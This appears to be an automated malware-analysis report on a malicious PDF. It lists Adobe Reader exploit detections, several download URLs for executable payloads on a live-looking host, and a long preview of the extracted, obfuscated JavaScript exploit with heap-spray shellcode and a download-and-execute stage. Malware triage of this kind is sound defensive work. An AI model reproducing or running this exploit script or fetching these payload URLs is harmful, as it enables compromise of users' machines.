MALICIOUS
592
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.001 Malicious Link
The PDF file contains multiple critical heuristic firings indicating exploits for CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. These exploits target Adobe Reader and are used to execute embedded JavaScript. The deobfuscated JavaScript, named 'legacy_pdfkit_stage_000.js', likely serves as a second-stage payload downloader or executor, as indicated by ClamAV detection on extracted artifacts. The attack pattern is consistent with exploit-kit delivery mechanisms.
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 14
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Exploit.Agent-36110
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDERDecoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
-
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEXHex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
-
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILEDThe cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://images-dns.com/aklnox2.exe Referenced by PDF JavaScript
- http://images-dns.com/click.php?r=Referenced by PDF JavaScript
- http://images-dns.com/klmsvx2.exeReferenced by PDF JavaScript
- http://images-dns.com/alnqrw2.exeReferenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x1A5 | 38270 bytes |
SHA-256: 98ea37be64f7fb324129728aff241c27490aa2a13c65998d393074313299d8e4 |
|||
Preview scriptFirst 1,000 lines of the extracted script
var fgmou='';ahmty="";afpz=true;hotx=13512;bnpqs=44131;bdgksu=45758;demnr="";hlrtw="hlrtw";bestu="";glmx="glmx";gijpru=54769;chjkx="";bjko="";var abhw="",qrsu="",dhko='',ixzk="",tbzcq=62150,bjrvx=0,ijnptu=String,befot=ijnptu['fYrYokm9C5h9akr9CYo9dkek'.replace(/[kL9Y5]/g,'')],tfuz=String,acglpx=tfuz['efv1a1lH'.replace(/[HPf1E]/g,'')],yqebzt="99",ehirx="",fikuv=[70,67,66,159,174,167,156,173,162,168,167,89,159,162,177,152,162,173,97,178,154,171,172,169,101,89,165,158,167,98,180,70,67,66,66,176,161,162,165,158,89,97,178,154,171,172,169,103,165,158,167,160,173,161,89,99,89,107,89,117,89,165,158,167,98,180,70,67,66,66,66,178,154,171,172,169,89,100,118,89,178,154,171,172,169,116,70,67,66,66,182,70,67,66,66,178,154,171,172,169,89,118,89,178,154,171,172,169,103,172,174,155,172,173,171,162,167,160,97,105,101,89,165,158,167,104,107,98,116,70,67,66,66,171,158,173,174,171,167,89,178,154,171,172,169,116,70,67,66,182,70,67,70,67,66,159,174,167,156,173,162,168,167,89,174,173,162,165,152,169,171,162,167,173,159,97,98,180,70,67,66,66,175,154,171,89,169,154,178,165,168,154,157,89,118,89,174,167,158,172,156,154,169,158,97,91,94,174,126,123,126,114,94,174,105,105,105,106,94,174,110,111,105,105,94,174,122,106,111,109,94,174,105,105,108,105,94,174,105,105,105,105,94,174,109,105,113,123,94,174,113,123,105,124,94,174,106,124,112,105,94,174,113,123,122,125,94,174,105,113,109,105,94,174,124,108,110,126,94,174,113,123,110,110,94,174,113,123,126,124,94,174,105,113,109,110,94,174,108,108,110,107,94,174,124,106,125,107,94,174,105,108,124,107,94,174,106,105,108,107,94,174,113,105,109,105,94,174,105,105,108,113,94,174,127,110,112,110,94,174,124,107,113,123,94,174,110,125,110,122,94,174,105,109,124,107,94,174,110,110,105,105,94,174,126,124,113,123,94,174,110,106,110,106,94,174,110,111,110,108,94,174,111,105,110,112,94,174,110,125,113,123,94,174,108,108,105,113,94,174,113,123,124,105,94,174,105,124,112,110,94,174,127,126,113,123,94,174,112,111,105,108,94,174,113,123,108,124,94,174,112,113,109,126,94,174,124,127,105,108,94,174,110,106,113,123,94,174,110,107,106,124,94,174,110,106,113,123,94,174,110,107,107,109,94,174,112,106,113,123,94,174,109,126,106,109,94,174,112,110,113,114,94,174,113,123,127,124,94,174,107,105,112,106,94,174,127,112,105,108,94,174,109,122,114,114,94,174,109,107,122,125,94,174,108,123,111,105,94,174,127,124,110,110,94,174,105,109,112,110,94,174,124,105,108,108,94,174,108,112,126,123,94,174,127,127,108,108,94,174,109,110,105,108,94,174,114,112,105,124,94,174,124,127,113,123,94,174,112,110,122,126,94,174,107,123,127,125,94,174,109,127,127,114,94,174,126,113,110,106,94,174,127,127,114,109,94,174,127,127,127,127,94,174,124,108,108,123,94,174,112,109,111,106,94,174,126,123,105,107,94,174,113,123,125,114,94,174,105,124,109,110,94,174,110,126,114,107,94,174,127,107,105,108,94,174,126,105,125,106,94,174,124,111,105,108,94,174,124,114,108,108,94,174,123,112,105,127,94,174,110,127,105,113,94,174,126,106,124,106,94,174,105,108,105,107,94,174,105,108,124,122,94,174,113,123,124,127,94,174,105,108,105,106,94,174,113,114,124,107,94,174,127,113,109,110,94,174,113,123,111,106,94,174,127,113,109,110,94,174,110,126,110,127,94,174,124,114,110,123,94,174,110,110,124,108,94,174,126,124,113,123,94,174,126,113,110,106,94,174,127,127,109,114,94,174,127,127,127,127,94,174,111,113,110,105,94,174,111,105,126,113,94,174,105,109,123,127,94,174,111,124,126,113,94,174,127,127,127,127,94,174,108,108,127,127,94,174,110,107,125,107,94,174,127,127,110,107,94,174,105,113,112,110,94,174,125,105,127,127,94,174,109,110,113,114,94,174,113,123,127,124,94,174,127,124,109,110,94,174,124,108,124,114,94,174,113,123,110,110,94,174,113,108,126,124,94,174,105,124,126,124,94,174,109,110,113,125,94,174,110,105,127,109,94,174,109,110,124,111,94,174,112,110,127,109,94,174,109,110,124,111,94,174,112,107,127,110,94,174,109,110,124,111,94,174,111,124,127,111,94,174,109,110,124,111,94,174,111,125,127,112,94,174,109,110,124,111,94,174,111,127,127,113,94,174,109,110,124,111,94,174,111,126,127,114,94,174,109,110,124,111,94,174,107,126,127,122,94,174,109,110,124,111,94,174,111,109,127,123,94,174,109,110,124,111,94,174,111,124,127,124,94,174,109,110,124,111,94,174,111,124,127,125,94,174,109,110,124,111,94,174,105,105,127,126,94,174,122,105,126,113,94,174,127,127,127,127,94,174,110,105,127,127,94,174,110,125,111,113,94,174,106,106,113,122,94,174,126,113,106,111,94,174,127,127,106,110,94,174,127,127,127,127,94,174,124,109,113,108,94,174,113,110,105,124,94,174,112,109,124,105,94,174,111,122,106,110,94,174,111,122,105,105,94,174,127,127,105,105,94,174,105,124,112,110,94,174,112,110,127,127,94,174,111,122,105,113,94,174,127,127,105,105,94,174,113,110,125,105,94,174,112,110,124,105,94,174,109,105,105,108,94,174,124,108,124,114,94,174,124,105,108,108,94,174,124,108,124,114,94,174,108,108,110,112,94,174,113,123,124,105,94,174,107,109,109,124,94,174,113,123,105,124,94,174,107,109,112,124,94,174,127,124,105,113,94,174,122,122,127,108,94,174,124,108,110,127,94,174,109,124,113,123,94,174,105,109,107,109,94,174,108,114,113,105,94,174,113,123,105,105,94,174,112,109,124,106,94,174,109,105,105,111,94,174,108,113,113,105,94,174,112,110,105,105,94,174,107,123,127,122,94,174,124,108,124,106,94,174,113,123,110,110,94,174,113,108,126,124,94,174,111,109,126,124,94,174,113,125,110,108,94,174,127,105,109,110,94,174,108,108,110,112,94,174,110,105,125,123,94,174,109,110,124,111,94,174,111,123,127,105,94,174,109,110,124,111,94,174,111,110,127,106,94,174,109,110,124,111,94,174,112,107,127,107,94,174,109,110,124,111,94,174,111,126,127,108,94,174,109,110,124,111,94,174,111,110,127,109,94,174,109,110,124,111,94,174,111,124,127,110,94,174,109,110,124,111,94,174,108,108,127,111,94,174,109,110,124,111,94,174,108,107,127,112,94,174,109,110,124,111,94,174,107,126,127,113,94,174,109,110,124,111,94,174,111,109,127,114,94,174,109,110,124,111,94,174,111,124,127,122,94,174,109,110,124,111,94,174,111,124,127,123,94,174,110,125,113,113,94,174,126,113,127,124,94,174,127,127,105,123,94,174,127,127,127,127,94,174,111,113,110,105,94,174,109,108,111,113,94,174,113,126,127,114,94,174,113,105,126,113,94,174,127,127,127,126,94,174,113,123,127,127,94,174,113,125,127,113,94,174,114,124,109,110,94,174,109,109,111,122,94,174,126,113,110,105,94,174,127,127,112,126,94,174,127,127,127,127,94,174,109,110,113,125,94,174,111,122,126,105,94,174,110,105,106,105,94,174,112,108,126,113,94,174,127,127,127,127,94,174,113,108,127,127,94,174,106,124,124,109,94,174,109,110,113,125,94,174,110,105,126,105,94,174,109,110,113,125,94,174,110,105,114,124,94,174,110,108,110,108,94,174,110,108,110,108,94,174,110,108,110,108,94,174,112,110,127,127,94,174,124,112,105,113,94,174,114,124,109,110,94,174,105,105,109,109,94,174,105,105,105,105,94,174,127,127,110,108,94,174,110,127,125,112,94,174,123,111,105,127,94,174,110,123,124,105,94,174,124,108,124,114,94,174,113,123,110,110,94,174,110,106,126,124,94,174,110,108,110,106,94,174,110,112,110,111,94,174,109,107,111,122,94,174,112,107,126,113,94,174,105,105,105,105,94,174,113,123,105,105,94,174,108,108,125,113,94,174,113,110,127,111,94,174,110,114,125,123,94,174,109,110,124,112,94,174,111,106,127,113,94,174,111,110,107,126,94,174,124,112,112,113,94,174,127,124,109,110,94,174,105,105,111,110,94,174,105,105,105,105,94,174,110,111,112,126,94,174,109,110,113,125,94,174,110,105,127,113,94,174,126,113,110,111,94,174,105,105,110,106,94,174,105,105,105,105,94,174,110,105,110,114,94,174,123,106,126,113,94,174,127,127,127,126,94,174,113,110,127,127,94,174,110,114,124,105,94,174,112,109,110,114,94,174,113,125,108,114,94,174,105,106,109,111,94,174,126,113,110,105,94,174,105,105,108,123,94,174,105,105,105,105,94,174,127,113,113,123,94,174,109,110,113,125,94,174,110,105,127,113,94,174,107,106,126,113,94,174,127,127,127,127,94,174,113,110,127,127,94,174,110,114,124,105,94,174,112,109,110,114,94,174,110,112,105,124,94,174,105,106,126,113,94,174,127,127,127,127,94,174,110,114,127,127,94,174,109,109,124,111,94,174,127,127,108,113,94,174,110,105,112,108,94,174,109,110,113,125,94,174,127,126,127,113,94,174,110,113,105,105,94,174,109,110,113,125,94,174,110,105,127,113,94,174,126,113,110,112,94,174,127,126,112,109,94,174,127,127,127,127,94,174,110,114,110,114,94,174,109,111,109,111,94,174,127,108,108,123,94,174,122,122,112,124,94,174,110,126,110,127,94,174,124,114,110,123,94,174,110,110,124,108,94,174,126,124,113,123,94,174,110,108,110,106,94,174,111,105,111,111,94,174,108,107,123,106,94,174,105,105,126,113,94,174,105,105,105,105,94,174,110,113,105,105,94,174,105,113,108,113,94,174,105,108,112,109,94,174,126,123,109,105,94,174,109,105,127,114,94,174,110,125,113,123,94,174,113,105,105,113,94,174,109,107,127,123,94,174,105,113,112,110,94,174,125,123,108,108,94,174,106,113,113,122,94,174,124,108,113,123,94,174,106,112,126,123,94,174,106,113,108,113,94,174,106,106,112,111,94,174,108,108,109,105,94,174,113,109,124,114,94,174,112,109,125,123,94,174,109,105,105,124,94,174,105,113,108,113,94,174,127,123,112,110,94,174,127,126,109,105,94,174,126,123,124,123,94,174,108,108,127,107,94,174,113,114,124,105,94,174,127,124,109,110,94,174,109,110,113,123,94,174,110,123,127,124,94,174,124,108,124,114,94,174,105,107,108,107,94,174,112,109,111,113,94,174,112,105,112,109,94,174,107,127,108,122,94,174,111,114,107,127,94,174,111,106,111,125,94,174,111,110,111,112,94,174,107,125,112,108,94,174,111,126,111,109,94,174,107,126,112,108,94,174,111,127,111,108,94,174,107,127,111,125,94,174,111,123,111,106,94,174,111,126,111,124,94,174,112,113,111,127,94,174,107,126,108,107,94,174,112,113,111,110,94,174,105,105,111,110,94,174,112,109,111,113,94,174,112,105,112,109,94,174,107,127,108,122,94,174,111,114,107,127,94,174,111,106,111,125,94,174,111,110,111,112,94,174,107,125,112,108,94,174,111,126,111,109,94,174,107,126,112,108,94,174,111,127,111,108,94,174,107,127,111,125,94,174,111,124,111,108,94,174,111,108,111,114,94,174,107,126,111,123,94,174,111,113,112,105,94,174,108,127,112,105,94,174,108,125,112,107,94,174,105,105,105,105,91,98,116,70,67,66,66,175,154,171,89,167,168,169,89,118,89,174,167,158,172,156,154,169,158,97,91,94,174,105,122,105,122,94,174,105,122,105,122,94,174,105,122,105,122,94,174,105,122,105,122,91,98,70,67,66,66,175,154,171,89,161,158,154,169,155,165,168,156,164,89,118,89,167,168,169,89,100,89,169,154,178,165,168,154,157,116,70,67,66,66,175,154,171,89,155,162,160,155,165,168,156,164,89,118,89,174,167,158,172,156,154,169,158,97,91,94,174,105,122,105,122,94,174,105,122,105,122,91,98,116,70,67,66,66,175,154,171,89,161,158,154,157,158,171,172,162,179,158,89,118,89,107,105,116,70,67,66,66,175,154,171,89,172,169,171,154,178,89,118,89,161,158,154,157,158,171,172,162,179,158,89,100,89,161,158,154,169,155,165,168,156,164,103,165,158,167,160,173,161,116,70,67,66,66,176,161,162,165,158,89,97,155,162,160,155,165,168,156,164,103,165,158,167,160,173,161,89,117,89,172,169,171,154,178,98,180,70,67,66,66,66,155,162,160,155,165,168,156,164,89,100,118,89,155,162,160,155,165,168,156,164,116,70,67,66,66,182,70,67,66,66,175,154,171,89,159,162,165,165,155,165,168,156,164,89,118,89,155,162,160,155,165,168,156,164,103,172,174,155,172,173,171,162,167,160,97,105,101,89,172,169,171,154,178,98,116,70,67,66,66,175,154,171,89,155,165,168,156,164,89,118,89,155,162,160,155,165,168,156,164,103,172,174,155,172,173,171,162,167,160,97,105,101,89,155,162,160,155,165,168,156,164,103,165,158,167,160,173,161,102,172,169,171,154,178,98,116,70,67,66,66,176,161,162,165,158,89,97,155,165,168,156,164,103,165,158,167,160,173,161,100,172,169,171,154,178,89,117,89,105,177,109,105,105,105,105,98,180,70,67,66,66,66,155,165,168,156,164,89,118,89,155,165,168,156,164,89,100,89,155,165,168,156,164,89,100,89,159,162,165,165,155,165,168,156,164,116,70,67,66,66,182,70,67,66,66,175,154,171,89,166,158,166,152,154,171,171,154,178,89,118,89,167,158,176,89,122,171,171,154,178,97,98,116,70,67,66,66,159,168,171,89,97,175,154,171,89,162,89,118,89,105,116,89,162,89,117,89,106,109,105,105,116,89,162,100,100,98,180,70,67,66,66,66,166,158,166,152,154,171,171,154,178,148,162,150,89,118,89,155,165,168,156,164,89,100,89,161,158,154,169,155,165,168,156,164,116,70,67,66,66,182,70,67,66,66,175,154,171,89,167,174,166,89,118,89,106,107,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,114,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,116,70,67,66,66,174,173,162,165,103,169,171,162,167,173,159,97,91,94,109,110,105,105,105,159,91,101,89,167,174,166,98,116,70,67,66,182,70,67,70,67,66,159,174,167,156,173,162,168,167,89,156,168,165,165,154,155,152,158,166,154,162,165,97,98,180,70,67,66,66,175,154,171,89,172,161,158,165,165,156,168,157,158,89,118,89,174,167,158,172,156,154,169,158,97,91,94,174,126,123,126,114,94,174,105,105,105,106,94,174,110,111,105,105,94,174,122,106,111,109,94,174,105,105,108,105,94,174,105,105,105,105,94,174,109,105,113,123,94,174,113,123,105,124,94,174,106,124,112,105,94,174,113,123,122,125,94,174,105,113,109,105,94,174,124,108,110,126,94,174,113,123,110,110,94,174,113,123,126,124,94,174,105,113,109,110,94,174,108,108,110,107,94,174,124,106,125,107,94,174,105,108,124,107,94,174,106,105,108,107,94,174,113,105,109,105,94,174,105,105,108,113,94,174,127,110,112,110,94,174,124,107,113,123,94,174,110,125,110,122,94,174,105,109,124,107,94,174,110,110,105,105,94,174,126,124,113,123,94,174,110,106,110,106,94,174,110,111,110,108,94,174,111,105,110,112,94,174,110,125,113,123,94,174,108,108,105,113,94,174,113,123,124,105,94,174,105,124,112,110,94,174,127,126,113,123,94,174,112,111,105,108,94,174,113,123,108,124,94,174,112,113,109,126,94,174,124,127,105,108,94,174,110,106,113,123,94,174,110,107,106,124,94,174,110,106,113,123,94,174,110,107,107,109,94,174,112,106,113,123,94,174,109,126,106,109,94,174,112,110,113,114,94,174,113,123,127,124,94,174,107,105,112,106,94,174,127,112,105,108,94,174,109,122,114,114,94,174,109,107,122,125,94,174,108,123,111,105,94,174,127,124,110,110,94,174,105,109,112,110,94,174,124,105,108,108,94,174,108,112,126,123,94,174,127,127,108,108,94,174,109,110,105,108,94,174,114,112,105,124,94,174,124,127,113,123,94,174,112,110,122,126,94,174,107,123,127,125,94,174,109,127,127,114,94,174,126,113,110,106,94,174,127,127,114,109,94,174,127,127,127,127,94,174,124,108,108,123,94,174,112,109,111,106,94,174,126,123,105,107,94,174,113,123,125,114,94,174,105,124,109,110,94,174,110,126,114,107,94,174,127,107,105,108,94,174,126,105,125,106,94,174,124,111,105,108,94,174,124,114,108,108,94,174,123,112,105,127,94,174,110,127,105,113,94,174,126,106,124,106,94,174,105,108,105,107,94,174,105,108,124,122,94,174,113,123,124,127,94,174,105,108,105,106,94,174,113,114,124,107,94,174,127,113,109,110,94,174,113,123,111,106,94,174,127,113,109,110,94,174,110,126,110,127,94,174,124,114,110,123,94,174,110,110,124,108,94,174,126,124,113,123,94,174,126,113,110,106,94,174,127,127,109,114,94,174,127,127,127,127,94,174,111,113,110,105,94,174,111,105,126,113,94,174,105,109,123,127,94,174,111,124,126,113,94,174,127,127,127,127,94,174,108,108,127,127,94,174,110,107,125,107,94,174,127,127,110,107,94,174,105,113,112,110,94,174,125,105,127,127,94,174,109,110,113,114,94,174,113,123,127,124,94,174,127,124,109,110,94,174,124,108,124,114,94,174,113,123,110,110,94,174,113,108,126,124,94,174,105,124,126,124,94,174,109,110,113,125,94,174,110,105,127,109,94,174,109,110,124,111,94,174,112,110,127,109,94,174,109,110,124,111,94,174,112,107,127,110,94,174,109,110,124,111,94,174,111,124,127,111,94,174,109,110,124,111,94,174,111,125,127,112,94,174,109,110,124,111,94,174,111,127,127,113,94,174,109,110,124,111,94,174,111,126,127,114,94,174,109,110,124,111,94,174,107,126,127,122,94,174,109,110,124,111,94,174,111,109,127,123,94,174,109,110,124,111,94,174,111,124,127,124,94,174,109,110,124,111,94,174,111,124,127,125,94,174,109,110,124,111,94,174,105,105,127,126,94,174,122,105,126,113,94,174,127,127,127,127,94,174,110,105,127,127,94,174,110,125,111,113,94,174,106,106,113,122,94,174,126,113,106,111,94,174,127,127,106,110,94,174,127,127,127,127,94,174,124,109,113,108,94,174,113,110,105,124,94,174,112,109,124,105,94,174,111,122,106,110,94,174,111,122,105,105,94,174,127,127,105,105,94,174,105,124,112,110,94,174,112,110,127,127,94,174,111,122,105,113,94,174,127,127,105,105,94,174,113,110,125,105,94,174,112,110,124,105,94,174,109,105,105,108,94,174,124,108,124,114,94,174,124,105,108,108,94,174,124,108,124,114,94,174,108,108,110,112,94,174,113,123,124,105,94,174,107,109,109,124,94,174,113,123,105,124,94,174,107,109,112,124,94,174,127,124,105,113,94,174,122,122,127,108,94,174,124,108,110,127,94,174,109,124,113,123,94,174,105,109,107,109,94,174,108,114,113,105,94,174,113,123,105,105,94,174,112,109,124,106,94,174,109,105,105,111,94,174,108,113,113,105,94,174,112,110,105,105,94,174,107,123,127,122,94,174,124,108,124,106,94,174,113,123,110,110,94,174,113,108,126,124,94,174,111,109,126,124,94,174,113,125,110,108,94,174,127,105,109,110,94,174,108,108,110,112,94,174,110,105,125,123,94,174,109,110,124,111,94,174,111,123,127,105,94,174,109,110,124,111,94,174,111,110,127,106,94,174,109,110,124,111,94,174,112,107,127,107,94,174,109,110,124,111,94,174,111,126,127,108,94,174,109,110,124,111,94,174,111,110,127,109,94,174,109,110,124,111,94,174,111,124,127,110,94,174,109,110,124,111,94,174,108,108,127,111,94,174,109,110,124,111,94,174,108,107,127,112,94,174,109,110,124,111,94,174,107,126,127,113,94,174,109,110,124,111,94,174,111,109,127,114,94,174,109,110,124,111,94,174,111,124,127,122,94,174,109,110,124,111,94,174,111,124,127,123,94,174,110,125,113,113,94,174,126,113,127,124,94,174,127,127,105,123,94,174,127,127,127,127,94,174,111,113,110,105,94,174,109,108,111,113,94,174,113,126,127,114,94,174,113,105,126,113,94,174,127,127,127,126,94,174,113,123,127,127,94,174,113,125,127,113,94,174,114,124,109,110,94,174,109,109,111,122,94,174,126,113,110,105,94,174,127,127,112,126,94,174,127,127,127,127,94,174,109,110,113,125,94,174,111,122,126,105,94,174,110,105,106,105,94,174,112,108,126,113,94,174,127,127,127,127,94,174,113,108,127,127,94,174,106,124,124,109,94,174,109,110,113,125,94,174,110,105,126,105,94,174,109,110,113,125,94,174,110,105,114,124,94,174,110,108,110,108,94,174,110,108,110,108,94,174,110,108,110,108,94,174,112,110,127,127,94,174,124,112,105,113,94,174,114,124,109,110,94,174,105,105,109,109,94,174,105,105,105,105,94,174,127,127,110,108,94,174,110,127,125,112,94,174,123,111,105,127,94,174,110,123,124,105,94,174,124,108,124,114,94,174,113,123,110,110,94,174,110,106,126,124,94,174,110,108,110,106,94,174,110,112,110,111,94,174,109,107,111,122,94,174,112,107,126,113,94,174,105,105,105,105,94,174,113,123,105,105,94,174,108,108,125,113,94,174,113,110,127,111,94,174,110,114,125,123,94,174,109,110,124,112,94,174,111,106,127,113,94,174,111,110,107,126,94,174,124,112,112,113,94,174,127,124,109,110,94,174,105,105,111,110,94,174,105,105,105,105,94,174,110,111,112,126,94,174,109,110,113,125,94,174,110,105,127,113,94,174,126,113,110,111,94,174,105,105,110,106,94,174,105,105,105,105,94,174,110,105,110,114,94,174,123,106,126,113,94,174,127,127,127,126,94,174,113,110,127,127,94,174,110,114,124,105,94,174,112,109,110,114,94,174,113,125,108,114,94,174,105,106,109,111,94,174,126,113,110,105,94,174,105,105,108,123,94,174,105,105,105,105,94,174,127,113,113,123,94,174,109,110,113,125,94,174,110,105,127,113,94,174,107,106,126,113,94,174,127,127,127,127,94,174,113,110,127,127,94,174,110,114,124,105,94,174,112,109,110,114,94,174,110,112,105,124,94,174,105,106,126,113,94,174,127,127,127,127,94,174,110,114,127,127,94,174,109,109,124,111,94,174,127,127,108,113,94,174,110,105,112,108,94,174,109,110,113,125,94,174,127,126,127,113,94,174,110,113,105,105,94,174,109,110,113,125,94,174,110,105,127,113,94,174,126,113,110,112,94,174,127,126,112,109,94,174,127,127,127,127,94,174,110,114,110,114,94,174,109,111,109,111,94,174,127,108,108,123,94,174,122,122,112,124,94,174,110,126,110,127,94,174,124,114,110,123,94,174,110,110,124,108,94,174,126,124,113,123,94,174,110,108,110,106,94,174,111,105,111,111,94,174,108,107,123,106,94,174,105,105,126,113,94,174,105,105,105,105,94,174,110,113,105,105,94,174,105,113,108,113,94,174,105,108,112,109,94,174,126,123,109,105,94,174,109,105,127,114,94,174,110,125,113,123,94,174,113,105,105,113,94,174,109,107,127,123,94,174,105,113,112,110,94,174,125,123,108,108,94,174,106,113,113,122,94,174,124,108,113,123,94,174,106,112,126,123,94,174,106,113,108,113,94,174,106,106,112,111,94,174,108,108,109,105,94,174,113,109,124,114,94,174,112,109,125,123,94,174,109,105,105,124,94,174,105,113,108,113,94,174,127,123,112,110,94,174,127,126,109,105,94,174,126,123,124,123,94,174,108,108,127,107,94,174,113,114,124,105,94,174,127,124,109,110,94,174,109,110,113,123,94,174,110,123,127,124,94,174,124,108,124,114,94,174,105,107,108,107,94,174,112,109,111,113,94,174,112,105,112,109,94,174,107,127,108,122,94,174,111,114,107,127,94,174,111,106,111,125,94,174,111,110,111,112,94,174,107,125,112,108,94,174,111,126,111,109,94,174,107,126,112,108,94,174,111,127,111,108,94,174,107,127,111,125,94,174,111,124,111,123,94,174,112,108,111,125,94,174,112,113,112,111,94,174,107,126,108,107,94,174,112,113,111,110,94,174,105,105,111,110,94,174,112,109,111,113,94,174,112,105,112,109,94,174,107,127,108,122,94,174,111,114,107,127,94,174,111,106,111,125,94,174,111,110,111,112,94,174,107,125,112,108,94,174,111,126,111,109,94,174,107,126,112,108,94,174,111,127,111,108,94,174,107,127,111,125,94,174,111,124,111,108,94,174,111,108,111,114,94,174,107,126,111,123,94,174,111,113,112,105,94,174,108,127,112,105,94,174,108,125,112,107,94,174,105,105,105,105,91,98,116,70,67,66,66,175,154,171,89,166,158,166,152,154,171,171,154,178,89,118,89,167,158,176,89,122,171,171,154,178,97,98,116,70,67,66,66,175,154,171,89,156,156,89,118,89,105,177,105,156,105,156,105,156,105,156,116,70,67,66,66,175,154,171,89,154,157,157,171,89,118,89,105,177,109,105,105,105,105,105,116,70,67,66,66,175,154,171,89,172,156,152,165,158,167,89,118,89,172,161,158,165,165,156,168,157,158,103,165,158,167,160,173,161,89,99,89,107,116,70,67,66,66,175,154,171,89,165,158,167,89,118,89,154,157,157,171,89,102,89,97,172,156,152,165,158,167,100,105,177,108,113,98,116,70,67,66,66,175,154,171,89,178,154,171,172,169,89,118,89,174,167,158,172,156,154,169,158,97,91,94,174,114,105,114,105,94,174,114,105,114,105,91,98,116,70,67,66,66,178,154,171,172,169,89,118,89,159,162,177,152,162,173,97,178,154,171,172,169,101,89,165,158,167,98,116,70,67,66,66,175,154,171,89,156,168,174,167,173,107,89,118,89,97,156,156,89,102,89,105,177,109,105,105,105,105,105,98,104,154,157,157,171,116,70,67,66,66,159,168,171,89,97,175,154,171,89,156,168,174,167,173,89,118,89,105,116,89,156,168,174,167,173,89,117,89,156,168,174,167,173,107,116,89,156,168,174,167,173,100,100,98,180,70,67,66,66,66,166,158,166,152,154,171,171,154,178,148,156,168,174,167,173,150,89,118,89,178,154,171,172,169,89,100,89,172,161,158,165,165,156,168,157,158,116,70,67,66,66,182,70,67,66,66,175,154,171,89,168,175,158,171,159,165,168,176,89,118,89,174,167,158,172,156,154,169,158,97,91,94,174,105